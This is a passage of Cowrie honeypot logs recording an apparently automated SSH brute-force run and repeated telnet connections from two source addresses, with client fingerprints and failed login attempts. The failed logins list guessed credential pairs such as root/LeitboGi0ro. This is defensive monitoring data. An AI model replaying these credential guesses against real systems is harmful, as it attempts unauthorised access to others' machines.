16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:25.729080Z","src_ip":"45.156.87.69","session":"83fb96550131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrea","password":"andrea123","message":"login attempt [andrea/andrea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:26.490710Z","src_ip":"45.156.87.69","session":"83fb96550131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:27.577090Z","src_ip":"45.156.87.69","session":"83fb96550131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015561580658,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:27.968037Z","src_ip":"152.42.224.71","session":"d86c449a1f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31938,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b7c2f3c652c","protocol":"ssh","message":"New connection: 45.156.87.69:31938 (159.203.135.109:22) [session: 4b7c2f3c652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:29.258230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:29.262276Z","src_ip":"45.156.87.69","session":"4b7c2f3c652c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.234410762786865,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:29.300488Z","src_ip":"152.42.224.71","session":"b8a1ace26ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55220,"dst_ip":"10.17.0.5","dst_port":23,"session":"be1d65c7d5fa","protocol":"telnet","message":"New connection: 152.42.224.71:55220 (10.17.0.5:23) [session: be1d65c7d5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:29.457911Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:29.614108Z","src_ip":"45.156.87.69","session":"4b7c2f3c652c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:30.640209Z","src_ip":"45.156.87.69","session":"4b7c2f3c652c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:31.725337Z","src_ip":"45.156.87.69","session":"4b7c2f3c652c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4341deb37c4","protocol":"telnet","message":"New connection: 152.42.224.71:55222 (10.17.0.5:23) [session: c4341deb37c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:31.987622Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4216d77f3de","protocol":"ssh","message":"New connection: 45.156.87.69:31950 (159.203.135.109:22) [session: a4216d77f3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:32.921303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:33.000605Z","src_ip":"45.156.87.69","session":"a4216d77f3de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55230,"dst_ip":"10.17.0.5","dst_port":23,"session":"86625e854f2c","protocol":"telnet","message":"New connection: 152.42.224.71:55230 (10.17.0.5:23) [session: 86625e854f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:33.012824Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:33.809467Z","src_ip":"45.156.87.69","session":"a4216d77f3de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:34.793877Z","src_ip":"45.156.87.69","session":"a4216d77f3de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:35.880433Z","src_ip":"45.156.87.69","session":"a4216d77f3de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":58218,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf3308c6bdb","protocol":"ssh","message":"New connection: 45.156.87.69:58218 (159.203.135.109:22) [session: dcf3308c6bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:36.348916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:36.499709Z","src_ip":"45.156.87.69","session":"dcf3308c6bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:36.503311Z","src_ip":"45.156.87.69","session":"dcf3308c6bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:37.172121Z","src_ip":"45.156.87.69","session":"dcf3308c6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.72594380378723,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:37.799057Z","src_ip":"152.42.224.71","session":"85638d33f6e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:38.320888Z","src_ip":"45.156.87.69","session":"dcf3308c6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":58236,"dst_ip":"159.203.135.109","dst_port":22,"session":"dda9245a5e9a","protocol":"ssh","message":"New connection: 45.156.87.69:58236 (159.203.135.109:22) [session: dda9245a5e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:39.831137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:40.009892Z","src_ip":"45.156.87.69","session":"dda9245a5e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:40.014234Z","src_ip":"45.156.87.69","session":"dda9245a5e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"password","message":"login attempt [idempiere/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:40.598321Z","src_ip":"45.156.87.69","session":"dda9245a5e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45020,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf89e036565f","protocol":"telnet","message":"New connection: 152.42.224.71:45020 (10.17.0.5:23) [session: cf89e036565f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:41.321176Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:41.760281Z","src_ip":"45.156.87.69","session":"dda9245a5e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":58250,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ad415042ee","protocol":"ssh","message":"New connection: 45.156.87.69:58250 (159.203.135.109:22) [session: 27ad415042ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:43.578830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:43.662966Z","src_ip":"45.156.87.69","session":"27ad415042ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:43.759929Z","src_ip":"45.156.87.69","session":"27ad415042ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman","message":"login attempt [aman/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:44.373865Z","src_ip":"45.156.87.69","session":"27ad415042ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:45.495951Z","src_ip":"45.156.87.69","session":"27ad415042ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.45244264602661,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:46.725788Z","src_ip":"152.42.224.71","session":"c1b6ebc7c674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":32498,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aab9780f173","protocol":"ssh","message":"New connection: 45.156.87.69:32498 (159.203.135.109:22) [session: 2aab9780f173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:47.208464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:47.231547Z","src_ip":"45.156.87.69","session":"2aab9780f173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:47.351081Z","src_ip":"45.156.87.69","session":"2aab9780f173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany123","message":"login attempt [dany/dany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:47.768493Z","src_ip":"45.156.87.69","session":"2aab9780f173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51378,"dst_ip":"10.17.0.5","dst_port":23,"session":"b337f184dd21","protocol":"telnet","message":"New connection: 152.42.224.71:51378 (10.17.0.5:23) [session: b337f184dd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:48.440365Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:48.879867Z","src_ip":"45.156.87.69","session":"2aab9780f173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":32502,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5217cf62dba","protocol":"ssh","message":"New connection: 45.156.87.69:32502 (159.203.135.109:22) [session: c5217cf62dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:50.795195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:50.799403Z","src_ip":"45.156.87.69","session":"c5217cf62dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:50.881970Z","src_ip":"45.156.87.69","session":"c5217cf62dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:51.166023Z","src_ip":"45.156.87.69","session":"c5217cf62dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.65551137924194,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:51.769492Z","src_ip":"152.42.224.71","session":"f6891de1e7cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:52.298167Z","src_ip":"45.156.87.69","session":"c5217cf62dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51392,"dst_ip":"10.17.0.5","dst_port":23,"session":"93186e160c9f","protocol":"telnet","message":"New connection: 152.42.224.71:51392 (10.17.0.5:23) [session: 93186e160c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:53.541478Z"}
